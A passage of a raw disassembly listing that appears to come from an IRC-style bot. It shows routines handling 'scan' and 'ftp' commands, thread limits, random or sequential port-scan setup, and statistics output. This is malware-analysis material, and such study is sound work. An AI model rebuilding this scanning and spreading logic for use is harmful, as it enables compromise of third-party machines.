		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422640	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401EF1
		add	esp, 8
		retn	8
sub_422640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422670	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422670	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422690	proc near		; CODE XREF: sub_4018F7j
		mov	eax, [ecx]
		retn
sub_422690	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226B0	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_401839
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4226B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_40163Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A8C
		pop	ecx
		retn	4
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422700	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FB9
		pop	ecx
		retn	4
sub_422700	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422720	proc near		; CODE XREF: sub_401A3Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_42273B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42273B:				; CODE XREF: sub_422720+11j
		retn
sub_422720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_40203Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422750
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422791
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401681


loc_422791:				; CODE XREF: sub_422750+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227E0	proc near		; CODE XREF: sub_401EF1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4227E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422821
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014D3


loc_422821:				; CODE XREF: sub_4227E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4227E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422850	proc near		; CODE XREF: sub_401A8Cj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019C9
		retn
sub_422850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422870	proc near		; CODE XREF: sub_401FB9j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422870	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422890	proc near		; CODE XREF: sub_401681j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014D3
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422890	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4228C0	proc near		; CODE XREF: sub_4019C9j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A82
		test	[esp+4+arg_0], 1
		jz	short loc_4228D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4228D8:				; CODE XREF: sub_4228C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4228C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4228F0	proc near		; CODE XREF: sub_401AF5j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4228F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D7F8B, offset aAsn ; "asn"
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4228F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422B40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C0A
		push	3
		call	sub_40148D
		add	esp, 4
		test	eax, eax
		jle	short loc_422BDD
		push	3
		call	sub_401DA2
		mov	eax, dword_50DB50[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422BDD:				; CODE XREF: sub_422B40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422C0A:				; CODE XREF: sub_422B40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422CB0
		mov	edi, dword_4D8370
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4232BD
		mov	edx, dword_44964F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_422CB0:				; CODE XREF: sub_422B40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422D30
		push	eax
		push	3
		call	sub_401DA7
		add	esp, 8
		test	eax, eax
		jle	short loc_422D05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D05:				; CODE XREF: sub_422B40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_422F39
; ---------------------------------------------------------------------------


loc_422D30:				; CODE XREF: sub_422B40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_422DDE
		push	3
		call	sub_40148D
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	2
		push	eax
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422F56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_422DDE:				; CODE XREF: sub_422B40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_445420
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E69
		mov	eax, offset dword_445420


loc_422E55:				; CODE XREF: sub_422B40+327j
		cmp	[eax+8], edi
		jb	short loc_422E5F
		mov	[esp+7A0h+var_78D], 1


loc_422E5F:				; CODE XREF: sub_422B40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422E55


loc_422E69:				; CODE XREF: sub_422B40+30Ej
		mov	ebp, off_511C00
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5FADE9
		mov	eax, dword_445420
		add	esp, 8
		test	eax, eax
		jz	short loc_422ECF
		mov	edi, offset dword_445428


loc_422E8F:				; CODE XREF: sub_422B40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5FADE9
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E8F


loc_422ECF:				; CODE XREF: sub_422B40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5FADE9
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422F29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	0
		call	sub_40152D
		add	esp, 10h


loc_422F29:				; CODE XREF: sub_422B40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422F39:				; CODE XREF: sub_422B40+1C0j
					; sub_422B40+1EBj ...
		xor	al, al


loc_422F3B:				; CODE XREF: sub_422B40+98j
					; sub_422B40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422F56:				; CODE XREF: sub_422B40+26Ej
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_423033
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_423043
; ---------------------------------------------------------------------------


loc_423033:				; CODE XREF: sub_422B40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_423043
		mov	[esp+7A0h+var_658], 3Ch


loc_423043:				; CODE XREF: sub_422B40+4F1j
					; sub_422B40+4F6j
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42309C
		mov	[esp+7A0h+var_654], eax


loc_42309C:				; CODE XREF: sub_422B40+553j
		mov	eax, dword_445420
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42316C
		mov	ebp, offset dword_445420
		jmp	short loc_4230C2
; ---------------------------------------------------------------------------


loc_4230BF:				; CODE XREF: sub_422B40+602j
		or	ebx, 0FFFFFFFFh


loc_4230C2:				; CODE XREF: sub_422B40+57Dj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017EE
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_4230EC:				; CODE XREF: sub_422B40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423110
		test	al, al
		jz	short loc_42310C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423110
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_4230EC


loc_42310C:				; CODE XREF: sub_422B40+5B6j
		xor	eax, eax
		jmp	short loc_423114
; ---------------------------------------------------------------------------


loc_423110:				; CODE XREF: sub_422B40+5B2j
					; sub_422B40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423114:				; CODE XREF: sub_422B40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42314A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_4230BF
		jmp	short loc_423169
; ---------------------------------------------------------------------------


loc_42314A:				; CODE XREF: sub_422B40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_445420[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423169:				; CODE XREF: sub_422B40+608j
		or	ebx, 0FFFFFFFFh


loc_42316C:				; CODE XREF: sub_422B40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42318A
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4232A5
; ---------------------------------------------------------------------------


loc_42318A:				; CODE XREF: sub_422B40+635j
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset dword_4447F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013ED
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423267
		push	offset asc_444600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423396
; ---------------------------------------------------------------------------


loc_423267:				; CODE XREF: sub_422B40+688j
		push	offset dword_4455EC
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		push	offset off_4455E4
		mov	ecx, esi
		call	sub_4013ED
		test	eax, eax
		jnz	short loc_4232C4
		lea	ecx, [esi+2Ah]
		call	sub_4014DD
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4232A5:				; CODE XREF: sub_422B40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118


loc_4232BD:				; CODE XREF: sub_422B40+132j
		mov	al, 1
		jmp	loc_422F3B
; ---------------------------------------------------------------------------


loc_4232C4:				; CODE XREF: sub_422B40+735j
					; sub_422B40+745j ...
		mov	ecx, dword_4D808D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_4455EC
		call	sub_4013ED
		test	eax, eax
		jz	short loc_42338B
		push	offset off_4455E8
		mov	ecx, esi
		call	sub_4013ED
		mov	ebp, dword_511A9C
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42337E


loc_423362:				; CODE XREF: sub_422B40+83Cj
		test	eax, eax
		jz	short loc_42337E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423362


loc_42337E:				; CODE XREF: sub_422B40+820j
					; sub_422B40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423396
; ---------------------------------------------------------------------------


loc_42338B:				; CODE XREF: sub_422B40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423396:				; CODE XREF: sub_422B40+722j
					; sub_422B40+849j
		mov	edx, dword_4D808D
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		nop
		call	near ptr 77C3FA76h
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4233F8
		mov	eax, offset aSequential	; "sequential"


loc_4233F8:				; CODE XREF: sub_422B40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:445402h[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
